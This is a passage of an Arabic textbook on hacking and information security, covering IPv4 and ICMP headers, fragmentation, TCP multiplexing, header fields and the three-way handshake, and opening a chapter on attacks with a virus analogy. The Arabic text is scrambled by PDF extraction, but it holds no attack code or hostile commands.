‫تع‬ُ‫مل‬‫ا‬ ‫اخلصائص‬ ‫بعض‬ ‫كر‬‫ذ‬‫ل‬ ‫جة‬ ‫ال‬ ‫يف‬ ‫هلا‬ ‫اجتنا‬‫حل‬ ‫ا‬‫ِب‬ ‫لقة‬ ‫باب‬ ‫القادم‬ . ‫مصطلح‬ ‫يعني‬ ‫ماذا‬ TCP/IP ‫بار‬‫الع‬ ‫ذذه‬ ‫خيترص‬ ‫لنه‬ ،‫؟‬ ‫ة‬ : “The use of Transmission Control Protocols (at Layer 4) over Internet Protocols (at Layer 3)” ‫ال‬ ‫عن‬ ‫تكلمنا‬ Header ‫طب‬ ‫كل‬ ‫بإضاقته‬ ‫تقوم‬ ‫الذي‬ ‫قة‬ ‫لىل‬ ‫ال‬ Packet ‫عبار‬ ‫وذو‬ ‫ة‬ ‫ال‬ ‫ِبذه‬ ‫اخلاصة‬ ‫التفاصيل‬ ‫عن‬ Packet . ‫عن‬ ً‫ال‬‫قلي‬ ‫سنتكلم‬ ‫ذذا‬ ‫ال‬ IP Header .. IP Header ‫ال‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬ IPv4 Header ، ‫مساحته‬ ‫وتبلغ‬ 20 bytes ‫ال‬ ‫بدون‬ Options
  • 159.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [159] ‫ُل‬‫ك‬ ..‫ترى‬ ‫كام‬ Field ‫ل‬ ‫شري‬ُ‫ي‬ ‫منها‬ ً‫ا‬‫بعض‬ ‫لك‬ ‫سنوضح‬ ،‫ما‬ ٍ‫يشء‬ ‫ىل‬ : Version: These 4 bits specify the IP protocol version of the datagram, here it is IPv4. Total Length: This is the total length of the IP datagram (header plus data), measured in bytes. Identifier, flags, fragmentation offset: These three fields have to do with so-called IP fragmentation " ‫قليل‬ ‫بعد‬ ‫اخلاصية‬ ‫ذذه‬ ‫عن‬ ‫سنتكلم‬ " Time-to-live: to ensure that datagrams do not circulate forever, this field is decremented by one each time the datagram is processed by a router. If the TTL field reaches 0, the datagram must be dropped. Protocol: indicates the specific transport-layer protocol, For example, a value of 6 indicates that the data portion is passed to TCP, while a value of 17 indicates that the data is passed to UDP.
  • 160.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [160] ‫ناسب‬ُ‫مل‬‫وبا‬ ‫ة‬ ‫ال‬ ، IP ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ Less Reliable ‫با‬ ‫لك‬ ‫يضمن‬ ‫ال‬ ‫حيث‬ ‫التوصيل‬ ‫عملية‬ ‫يف‬ ‫ال‬ ‫وصول‬ ‫لضبط‬ Packet ‫ال‬ ‫لىل‬ destination ‫ال‬ ‫قائدة‬ ‫ظهرت‬ ‫ولذلك‬ . ICMP ، ‫ال‬ ‫نستخدم‬ ICMP Packets ‫عملية‬ ‫أثناء‬ ‫حيدث‬ ‫طلل‬ ‫أي‬ ‫عن‬ ‫لإلبالغ‬ ‫ال‬ ‫يف‬ ‫أنه‬ ‫الحظ‬ ،‫االستقبال‬ ‫أو‬ ‫اإلرسال‬ Field ‫بال‬ ‫اخلاص‬ Protocol ‫ال‬ ‫نوع‬ ‫حتديد‬ ‫سيتم‬ Packet ، ‫كانت‬ ‫لو‬ ً‫ال‬‫قمث‬ ICMP msg ‫ال‬ ‫ذذا‬ ‫سيحوي‬ field ‫ر‬ ‫قم‬ 1 ‫ال‬ ‫بروتوكول‬ ‫عن‬ ‫يعرب‬ ‫حيث‬ ICMP . ‫ال‬ ‫ستخدم‬ُ‫ي‬ ICMP ‫ال‬ ‫بني‬ ‫أسايس‬ ‫بشكل‬ Hosts ‫لعمل‬ Test Connectivity ‫ب‬ ‫قيام‬ ،‫ينهم‬ ‫و‬ ‫شهريين‬ ‫نوعني‬ ‫نستخدم‬ ‫ال‬ ‫من‬ ICMP Packets ‫ال‬ ‫ذم‬ Echo Request ‫و‬ Echo Reply ‫نقوم‬ ‫بتنفيذ‬ ‫ال‬ ‫ذذا‬ request ‫و‬ reply ‫سمى‬ُ‫ي‬ ‫صغري‬ ‫برنامج‬ ‫باستخدام‬ “Ping” ‫سأ‬ ‫ال‬ ‫بعض‬ ‫لك‬ ‫عرض‬ messages ‫الربو‬ ‫هلذا‬ ‫الظهور‬ ‫الشائعة‬ ‫توكول‬ : Type Code Description 0 – Echo Reply 0 Echo reply (used to ping) 3 – Destination Unreachable 0 Destination network unreachable 1 Destination host unreachable 2 Destination protocol unreachable 3 Destination port unreachable 4 Fragmentation required, and DF flag set 5 Source route failed
  • 161.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [161] ‫ال‬ ‫يوضح‬ ‫بسيط‬ ‫مثال‬ ‫وذذا‬ msg type 3 ICMP : IP Fragmentation ‫ال‬ MTU ‫ال‬ ‫ذي‬ " Maximum Transmission Unit " ‫لل‬ ‫حجم‬ ‫أكرب‬ ‫تعني‬ ُ ‫حيث‬ Packet ‫بني‬ ‫باإلنتقال‬ ‫هلا‬ ‫املسموح‬ ‫ال‬ Hosts . The maximum transmission unit (MTU) is the size of the largest network layer protocol data unit that can be communicated in a single network transaction.
  • 162.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [162] ‫به‬ ‫مسموح‬ ‫حجم‬ ‫أقىص‬ ‫حتديد‬ ‫ويتم‬ ‫أي‬ ‫دوث‬ ُ‫ح‬ ‫تفادي‬ ‫نها‬‫م‬ ،‫ده‬‫ع‬ ‫العتبارات‬ Errors ‫اإل‬ ‫أثناء‬ ‫نتقال‬ ، ‫ق‬ ‫ال‬ packet ‫ذات‬ ‫الكبري‬ ‫احلجم‬ ‫للوصول‬ ‫أطول‬ ً‫ا‬‫وقت‬ ‫تستغرق‬ ‫وجهتها‬ ‫لىل‬ ، ‫و‬ ‫ربام‬ ‫ال‬ ‫ُصيب‬‫ت‬ Link ‫و‬ ‫باإلجهاد‬ .ً‫ا‬‫نسبي‬ ً‫ا‬‫بطيئ‬ ‫صبح‬ُ‫ي‬ ‫لرسال‬ ‫أردنا‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬ Packet ‫احلجم؟‬ ‫كبرية‬ . ‫بعمل‬ ‫سنقوم‬ ‫احلالة‬ ‫ذذه‬ ‫يف‬ Fragment ‫ال‬ ‫هلذه‬ Packet .. ‫ثم‬ ‫صغرية‬ ‫قطع‬ ‫لىل‬ ‫بتقطيعها‬ ‫سنقوم‬ ‫أننا‬ ‫بمعنى‬ ‫ُرسلهم‬‫ن‬ ‫ال‬ ‫لىل‬ ‫يصلوا‬ ‫وعندما‬ ،ً‫ا‬‫تباع‬ Destination ‫أطرى‬ ً‫ة‬‫مر‬ ‫جتميعهم‬ ‫لعادة‬ ‫سيتم‬ . ‫الشكل‬ ‫التايل‬ :‫العملية‬ ‫ذذه‬ ‫يوضح‬
  • 163.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [163] ‫ال‬ ‫لىل‬ ‫بك‬ ‫ننتقل‬ ‫أن‬ ‫قبل‬ Transport Layer :‫املالحظة‬ ‫ِبذه‬ ‫نذكرك‬ ‫أن‬ ‫َود‬‫ن‬ Remember that the Internet’s network-layer service (IP service) is unreliable. IP does not guarantee datagram delivery, does not guarantee in-order delivery of datagrams, and does not guarantee the integrity of the data in the datagrams. ‫ال‬ ‫لىل‬ ‫احتياجنا‬ ‫يفُس‬ ‫ما‬ ‫وذذا‬ Transport Layer ‫اخلصا‬ ‫ذذه‬ ‫لنا‬ ‫ر‬ِّ‫ق‬‫ُو‬‫ت‬‫ل‬ ‫نا‬َ‫ل‬ ‫رذا‬ِّ‫ق‬‫ُو‬‫ت‬ ‫ال‬ ‫التي‬ ‫ئص‬ ‫ال‬ Network Layer . Layer 4 (Transport) ‫فاذيم‬َ‫مل‬‫ا‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬ ‫الطبقة‬ ‫ذذه‬ ‫ُص‬ َ ‫خت‬ ‫التي‬ ‫اجلديده‬ ، ‫أمام‬ ‫جتلس‬ ‫أنك‬ ‫معي‬ ‫اقرتض‬ ‫جهازك‬ ‫وت‬ ، ‫تصفح‬ ‫أحد‬ ‫املواقع‬ ‫ال‬ ‫برنامج‬ ‫باستخدام‬ ‫االنرتنت‬ ‫عىل‬ ‫ملف‬ ‫بتحميل‬ ‫الوقت‬ ‫نفس‬ ‫يف‬ ‫وتقوم‬ ، FTP ، ‫اتصال‬ ‫بمحاولة‬ ‫تقوم‬ ً‫ا‬‫وأيض‬ ‫باس‬ ‫املوقع‬ ‫ِبذا‬ ‫ال‬ ‫تخدام‬ Telnet ‫كما‬ ‫ال‬ ‫عرب‬ ‫ُمتلف‬ ‫بموقع‬ ‫آطر‬ ‫اتصال‬ ‫بفتح‬ ‫تقوم‬ Telnet .ً‫ا‬‫أيض‬ :‫اآليت‬ ‫لديك‬ ‫يكون‬ ‫الشكل‬ ‫ِبذا‬ Four application network processes running: An HTTP Process, FTP Process, and Two Telnet Processes. ‫ال‬ ‫تصنيف‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ،!‫تتسائل‬ ‫ربام‬ Data ‫اال‬ ‫من‬ ‫القادمة‬ ‫لكل‬ ‫وتوصيلها‬ ‫نرتنت‬ Process ‫نهم‬‫م‬ ‫من‬ ‫الرغم‬ ‫عىل‬ ‫الربنامج‬ ‫لنفس‬ ‫منهم‬ ‫لثنني‬ ‫تواجد‬ “Telnet” ‫!؟‬ ‫ال‬ ‫وظيفة‬ ‫لهنا‬ Transport Layer ‫عليها‬ ‫ُطلق‬‫ن‬ ‫طدمة‬ ‫لنا‬ ‫توقر‬ ‫حيث‬ : “Multiplexing & Demultiplexing” Multiplexing & Demultiplexing ‫األحداث‬ ‫ترتيب‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬ ، ‫ا‬ ‫تستقبل‬ ‫عندما‬ ‫ل‬ Transport Layer ‫اخلاص‬ ‫ة‬ ‫ال‬ ‫ذذه‬ )‫جهازك‬ ‫(داطل‬ ‫بك‬ Data ‫من‬ ‫منها‬ ‫أسفل‬ ‫التي‬ ‫الطبقة‬ Network Layer ، ‫ال‬ ‫ذذه‬ ‫بتوصيل‬ ‫قستقوم‬ Data ‫ال‬ ‫لىل‬ Process ‫تنتظرذا‬ ‫التي‬ .
  • 164.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [164] ‫ال‬ ‫قحص‬ ‫طريق‬ ‫عن‬ ‫ذلك‬ ‫يتم‬ Segment Header ‫ال‬ ‫حتديد‬ ‫ليتم‬ Socket ‫املناسب‬ ‫ة‬ ‫ال‬ ‫هلذه‬ Data ‫ال‬ ‫توجيه‬ ‫ثم‬ Data ‫ال‬ ‫هلذا‬ Socket ، ‫ال‬ ‫بنقل‬ ‫بدوره‬ ‫ذو‬ ‫قيقوم‬ Data ‫ال‬ ‫لىل‬ Application Process ‫املناسب‬ ‫ة‬ . At the receiving End ‫ال‬ ‫توصيل‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ “Transport Layer Segment” ‫ال‬ ‫لىل‬ Socket :‫بال‬ ‫هلا‬ ‫املناسب‬ “DeMultipiexing” At the sending Source ‫ال‬ ‫ع‬ َ ‫مج‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ data ‫ة‬َ‫م‬‫القاد‬ ‫ال‬ ‫ن‬‫م‬ Sockets ‫ف‬‫َل‬‫ت‬‫خ‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫من‬ Application Layer ‫ال‬ ‫ولجراء‬ Encapsulation ‫ال‬ ‫وضع‬ ‫يف‬ ‫ل‬ِّ‫ث‬َ‫َم‬‫ت‬ُ‫مل‬‫ا‬ Header ‫ال‬ ‫ذذه‬ ‫عىل‬ data ‫ال‬ ‫لتكوين‬ Segment ‫ولمرارذا‬ ‫ال‬ ‫لىل‬ Network Layer :‫بال‬ “Multiplexing” . ‫ال‬ ‫عملية‬ ‫تتم‬ ‫بالشكل‬ ‫ترى‬ ‫كام‬ Demultiplexing ‫طرف‬ ‫يف‬ ‫ال‬ ‫ذذا‬ Web Server ‫ثالثة‬ ‫وصول‬ ‫بعد‬ Connections ‫من‬ ‫مستخدمني‬ ‫ثالثة‬ ‫ال‬ ‫توجيه‬ ‫قيتم‬ Data ‫قة‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫بكل‬ user ‫لىل‬ Socket ‫(وذو‬ ‫ل‬‫َق‬‫ت‬‫س‬ُ‫م‬ ‫ثم‬ ‫ومن‬ ،)‫بالشكل‬ ‫الصغري‬ ‫املستطيل‬ ‫لىل‬ ‫ال‬ Process ‫املخصص‬ ‫ة‬ ‫لكل‬ user . ‫ال‬ ‫قحص‬ ‫بعد‬ ‫تتم‬ ‫ذذه‬ ‫التصنيف‬ ‫عملية‬ ‫بالطبع‬ Header Segment ، ‫ال‬ ‫ذذا‬ ‫حيوي‬ ‫حيث‬ fields ‫توضح‬ ‫التي‬ ‫التفاصيل‬ ‫ال‬ ‫ذذه‬ ‫نوع‬ Segment ‫ال‬ ‫مع‬ ‫التعامل‬ ‫سيتم‬ ‫كيف‬ ً‫ا‬‫وأيض‬ Data .
  • 165.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [165] TCP Header ‫ماييل‬ ‫ال‬ Header ‫ال‬ ‫بطبقة‬ ‫اخلاص‬ Transport . ‫اخلاص‬ ‫التفاصيل‬ ‫بعض‬ ‫يعرض‬ ‫آطر‬ ‫شكل‬ ‫وذذا‬ ‫ة‬ ‫بال‬ field ‫املسمى‬ Code Bits ، ‫ال‬ ‫أو‬ TCP Flags :‫نسميها‬ ‫كام‬
  • 166.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [166] ‫ال‬ ‫بعض‬ ‫بتوضيح‬ ‫سنقوم‬ Fields ‫ال‬ ‫ذذا‬ ‫يف‬ ‫املهمة‬ Header : ‫اطرت‬ ‫لك‬ ‫ت‬ ‫ال‬ ‫هلذه‬ ‫تعريفات‬ ‫أقضل‬ Fields ،‫نظري‬ ‫وجهة‬ ‫من‬ ُ‫ن‬‫مك‬ُ‫ي‬ ‫نا‬ ‫تسميته‬ ‫ا‬ ً‫ا‬‫أيض‬ ‫بال‬ Mechanisms ‫التي‬ ‫ال‬ ‫ها‬ُ‫م‬‫يستخد‬ TCP ‫ال‬ ‫عملية‬ ‫لتنفيذ‬ Reliable Connection . Checksum: Used to detect bit errors in a transmitted packet. Timer: Used to timeout/retransmit a packet, possibly because the packet (or its ACK) was lost within the channel. Because timeouts can occur when a packet is delayed but not lost, or when a packet has been received by the receiver but the receiver-to-sender ACK has been lost, also when a duplicate copies of a packet may be received by a receiver. Sequence number: Used for sequential numbering of packets of data flowing from sender to receiver. Gaps in the sequence numbers of received packets allow the receiver to detect a lost packet. Packets with duplicate sequence numbers allow the receiver to detect duplicate copies of a packet. Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been received correctly. Acknowledgments will typically carry the sequence number of the packet or packets being acknowledged. Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been received correctly. Negative acknowledgments will typically carry the sequence number of the packet that was not received correctly.
  • 167.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [167] Window: The sender may be restricted to sending only packets with sequence numbers that fall within a given range. By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can be increased over a stop-and-wait mode of operation. Definitions from: Ref (2) ‫ال‬ ‫ذذه‬ ‫عىل‬ ‫تعرقنا‬ ‫أن‬ ‫وبعد‬ ‫واآلن‬ Mechanisms ‫ال‬ ‫عىل‬ ‫لنتعرف‬ ‫ذيا‬ Field ‫بال‬ ‫اخلاص‬ Flags :‫رب‬ُ‫ق‬ ‫عن‬ ‫ال‬ ‫طبقة‬ ‫تقوم‬ Transport ‫لل‬ ‫ِسيع‬ ‫تصنيف‬ ‫بعملية‬ Segments ‫ال‬ ‫ذذه‬ ‫عىل‬ ‫بالتدقيق‬ Fields :‫وذي‬ ‫ال‬ Sequence number ‫ال‬ ‫و‬ Ack number ‫ال‬ ‫نوع‬ ً‫ا‬‫أطري‬ ‫و‬ TCP Flag ‫ال‬ ‫ذذه‬ ‫حتمله‬ ‫الذي‬ Segment ‫أن‬ ‫الحظ‬ . ‫ال‬ ‫من‬ ً‫ال‬‫ك‬ Sequence ‫ال‬ ‫و‬ Ack ‫عن‬ ‫عبارة‬ 32 bits . ‫ال‬ ‫ذذه‬ ‫قائدة‬ ‫وما‬ “Sequence” ‫وال‬ “ACK” ‫؟‬.. “The sequence number and acknowledgment number are used to maintain state” ‫س‬ :‫األمور‬ ‫تسري‬ ‫كيف‬ ‫لنفهم‬ ‫مثال‬ ‫نأطذ‬
  • 168.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [168] TCP Three-way Handshake ‫تود‬ ‫أنك‬ ‫لنفرض‬ ‫لنش‬ ‫ب‬ ‫لتصال‬ ‫اء‬ Server ‫ما‬ ‫لكي‬ ، ‫وبين‬ ‫بينك‬ ‫االتصال‬ ‫عملية‬ ‫تتم‬ ‫ه‬ ‫سمى‬ُ‫ي‬ ‫لجراء‬ ‫حيدث‬ ‫أن‬ ‫البد‬ “Three-Way Handshake” ‫ال‬ ‫من‬ ‫نوعني‬ ‫ألجله‬ ‫نستخدم‬ ‫حيث‬ TCP Flags ‫ال‬ ‫مع‬ ‫باالشرتاك‬ “Sequence and Ack numbers” . ‫ال‬ TCP Flags ‫ال‬ ‫ذي‬ ‫املستخدمة‬ SYN ‫ال‬ ‫و‬ ACK ، ‫باجل‬ ‫دالالهتم‬ ‫مراجعة‬ ‫مكنك‬ُ‫ي‬ ‫دول‬ ‫الصفح‬ ‫يف‬ ‫ة‬ ‫السابق‬ ‫ة‬ . ‫إراسل‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬ Segment ‫حيوي‬ ‫ال‬ TCP Flag ‫أهنا‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫قيمة‬ ‫ِبا‬ ‫نوع‬ ‫من‬ SYN ، ‫ال‬ ‫يفهمها‬ ُ ‫حيث‬ Server ، ‫د‬ُ‫وير‬ ‫بإرسال‬ ‫علينا‬ SYN/ACK ‫لنا‬ ‫يؤكد‬ ‫لل‬ ‫استالمه‬ SYN ‫رسل‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫ب‬ ُ‫نحن‬ ‫عليه‬ ‫د‬ ُ‫نر‬ ‫م‬ُ‫ث‬ ACK ‫ره‬‫ُخط‬‫ن‬ ‫هنائية‬ ‫لل‬ ‫نا‬‫باستالم‬ SYN/ACK ‫التي‬ ‫أرسلها‬ ‫وبعدذا‬ ،‫لنا‬ ‫وبينه‬ ‫بيننا‬ ‫الفعيل‬ ‫االتصال‬ ‫يبدأ‬ . ‫ال‬ ‫عملية‬ ‫من‬ ‫أكثر‬ ‫لنقرتب‬ ‫ذيا‬ “Handshaking” .. ‫تأمل‬ ‫معي‬ ‫الشكل‬ ‫التايل‬ :
  • 169.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [169] ‫استخدام‬ ‫َم‬‫ت‬ ‫التوليف‬ ‫ة‬ !‫نها‬َ‫ع‬ ‫منا‬‫َل‬‫ك‬َ‫ت‬ ‫التي‬ . ‫جديد‬ ‫رسالة‬ ‫أي‬ ‫أن‬ ‫واضح‬ ‫ة‬ ‫حتمل‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ‫لرساهلا‬ ‫يتم‬ Sequence number ‫عنها‬ ِّ ‫عرب‬ُ‫ي‬ ، ‫نا‬ُ‫قه‬ ُ‫ن‬‫َح‬‫ن‬ ‫منا‬ُ‫ق‬ ‫عندما‬ (Cilent) ‫له‬ ‫أرسلنا‬ ،‫باالتصال‬ ‫بالبدء‬ segment ‫نوع‬ ‫من‬ SYN ‫حتمل‬ Seq: 30 ، ‫ال‬ َ‫م‬‫قا‬َ‫ق‬ Server ‫ال‬ ‫بإرسال‬ ‫علينا‬ ‫بالرد‬ SYN/ACK ، ‫ال‬ ‫هلذه‬ ‫باستالمه‬ ‫ربنا‬ ُ ‫خي‬ ‫أن‬ ‫ريد‬ُ‫ي‬ ‫أنه‬ ‫تعني‬ ‫أهنا‬ ‫الحظ‬ SYN ‫حتمل‬ ‫التي‬ Seq: 30 ‫ال‬ ‫ذذه‬ ‫سيأطذ‬ ‫وبالتايل‬ Seq ‫بعمل‬ ‫ويقوم‬ “Increment by 1” . ‫أليس‬ !‫استالمه‬ ‫يؤكد‬ ‫بأن‬ ‫استلمها‬ ُ‫ه‬‫أن‬ ‫خربنا‬ُ‫ي‬‫س‬ ‫كذلك؟‬ ، ‫بمعنى‬ ACK ‫هلذه‬ ‫ال‬ Seq ! . ‫لنا‬ ‫سل‬ ُ ‫قسري‬ Segment ‫ل‬‫م‬ َ ‫حت‬ “ACK = your Sequence number + 1” ‫الرقم‬ ‫وذو‬ (31) .
  • 170.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [170] ‫أهنا‬ ‫بام‬ ‫وبالطبع‬ Segment ‫جديد‬ ‫ة‬ ‫ل‬‫م‬ َ ‫حت‬ ‫أن‬ ‫د‬ُ‫ب‬‫قال‬ Sequence number ‫ك‬ ‫عنها‬ ِّ ‫عرب‬ُ‫ي‬ ID ‫هلا‬ ! ، ‫سيكون‬ ‫عشوائي‬ ‫رقم‬ ‫ي‬ ‫كام‬ ‫حينها‬ ‫بالشكل‬ ‫ظهر‬ ‫الرقم‬ ‫وذو‬ ، (67) . ‫له‬ ‫ل‬‫ُرس‬‫ن‬ َ ‫س‬َ‫ق‬ ،‫للرسالة‬ ‫استالمنا‬ ُ‫ه‬‫ل‬ ‫نؤكد‬ ‫أن‬ ‫ُريد‬‫ن‬ ‫واآلن‬ “ACK = His Sequence number + 1” ‫الرقم‬ ‫وذو‬ (68) . ‫ال‬ ‫ذذا‬ ‫ل‬ ‫يوضح‬ ‫شكل‬ ‫نا‬ :‫باملعادالت‬ ‫حيدث‬ ‫ما‬ ‫ال‬ ‫قائدة‬ ‫بأن‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ Sequence Number ‫قيام‬ ‫ص‬‫خ‬َ‫ل‬‫تت‬ :‫ييل‬ “Sequence numbers allow TCP to put unordered packets back into order, to determine whether packets are missing, and to prevent mixing up packets from other connections”.
  • 171.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [171] :‫الثالث‬ ‫الطبقات‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬  Data-Link Layer  Network Layer  Transport Layer ‫راجعة‬ُ‫م‬ َ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ Appendix-B ‫ال‬ ‫انتقال‬ ‫أساليب‬ ‫عن‬ ‫املزيد‬ ‫عرقة‬‫مل‬ ‫الكتاب‬ ‫آطر‬ ‫يف‬ Traffic ‫داطل‬ ‫العميل‬ ‫الواقع‬ ‫يف‬ ‫ال‬ ‫شبكات‬ Data Centers ، ‫ال‬ ‫وأنواع‬ Architectures َ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫امل‬ ‫أمن‬‫ب‬ ‫ة‬َ‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫املواضيع‬ ‫بعض‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫القادم‬ ‫الفصل‬ ‫يف‬ ‫سنقوم‬ ‫عمليات‬‫ل‬ ‫حتليل‬ ‫ولجراء‬ ،‫علومات‬ ‫املتبع‬ ‫اآلليات‬ ‫وبعض‬ ،‫اإلطرتاق‬ ‫ة‬ ‫للحامي‬ ‫ة‬ .‫منها‬
  • 172.
  • 173.
  • 174.
  • 175.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [175] Introduction ،،!‫اإلنفلونزا‬ ‫قريوس‬ ‫قدر‬ ‫لديه‬ ،!‫باستمرار‬ ‫نا‬ُ‫ج‬‫زع‬ُ‫ي‬‫ل‬ ‫يأيت‬ ،‫حلالنا‬ ‫يرتكنا‬ ‫ال‬ ‫الذي‬ ،‫العجيب‬ ‫الفريوس‬ ‫ذذا‬ ‫ة‬ ‫ليقو‬ ‫نفسه‬ ‫تطوير‬ ‫عىل‬ ‫ُمتازة‬ ‫م‬ ‫ُسمى‬‫ت‬ ‫طريقة‬ ً‫ا‬‫مستخدم‬ ‫يتغري‬ ‫قهو‬ ،!ً‫ا‬‫وتكرار‬ ً‫ا‬‫مرار‬ ‫بإصابتنا‬ “Anti-Gen Drift” ‫األجسام‬ ‫عليه‬ ‫تتعرف‬ ‫ال‬ ‫حيث‬ ‫جرا‬ ‫أجسامنا‬ ‫يف‬ ‫تكونت‬ ‫التي‬ ‫املضادة‬ ‫به‬ ‫لنا‬ ‫السابقة‬ ‫اإلصابة‬ ‫ء‬ . ‫ال‬ ‫ذذا‬ ‫جتربة‬ ‫قعلينا‬ ‫وبالتايل‬ Virus ‫أجسامه‬ ‫حتديث‬ ‫للجسم‬ ‫يتسنى‬ ‫كي‬ ‫عليه‬ ‫طرأ‬ ‫الذي‬ ‫اجلديد‬ ‫بالتغيري‬ ‫املضاد‬ ‫ة‬ .‫ضده‬ ‫من‬ ‫ياله‬ Virus .!‫لعني‬ ‫ذدن‬ ‫يأطذ‬ ‫ال‬ ‫ة‬ ‫راحة‬ ‫قرتة‬ ‫أو‬ ، ‫ب‬ ‫العمل‬ ‫حيب‬ ، ‫كفائته‬ ‫ورقع‬ ‫نفسه‬ ‫لتطوير‬ ‫استمرار‬ ، ‫ُم‬ ‫لجراء‬ ‫عىل‬ ‫األدوية‬ ‫رشكات‬ ‫رب‬ ُ ‫جي‬ ‫ا‬ ‫املضاد‬ ‫منتجاهتا‬ ‫عىل‬ ‫املستمرة‬ ‫التحديثات‬ ‫ة‬ ‫عملي‬ ‫تواكب‬ ‫كي‬ ،‫لإلنفلونزا‬ ‫زعج‬ُ‫مل‬‫ا‬ ‫اخلصم‬ ‫ذذا‬ ‫لدى‬ ‫التطور‬ ‫ات‬ . ‫الك‬ ‫عامل‬ ‫يف‬ ‫لدينا‬ ‫ال‬ ‫مثل‬ ‫أعداء‬ ً‫ا‬‫أيض‬ ‫مبيوتر‬ Viruses and Worms . ‫و‬ ‫املتاعب‬ ‫من‬ ‫الكثري‬ ‫لنا‬ ‫يسببون‬ ‫لهنم‬ ‫والبيانات‬ ‫للملفات‬ ‫وضياع‬ ‫األَضار‬ . ّ‫لح‬ُ‫مل‬‫ا‬ ‫احلاجة‬ ‫ظهرت‬ ‫وهلذا‬ ‫أساليب‬ ‫لظهور‬ ‫ة‬ ‫احل‬ ‫وأنواعها‬ ‫مستوياهتا‬ ‫باطتالف‬ ‫امية‬ ‫ققام‬ ، Hackers ‫وقاموا‬ ‫األمنية‬ ‫اآلليات‬ ‫ذذه‬ ‫بدراسة‬ ‫إلحداث‬ ‫عدة‬ ٍ ‫بمحاوالت‬ ‫ِبا‬ ‫اخلروق‬ ..!‫ونجحوا‬ ، ‫ملجاِبة‬ ‫آلياهتم‬ ‫و‬ ‫منتجاهتم‬ ‫بتطوير‬ ‫األمنية‬ ‫األنظمة‬ ‫طورو‬ُ‫م‬ ‫ققام‬ ‫متهم‬‫أنظ‬ ‫عىل‬ ‫تحايلني‬ُ‫مل‬‫ا‬ ‫ذؤالء‬ ، ‫ال‬ ‫ذذه‬ ‫ت‬ َ‫ر‬ َ‫ج‬ ‫وذكذا‬ Cycle .!‫هناية‬ ‫ماال‬ ‫لىل‬
  • 176.
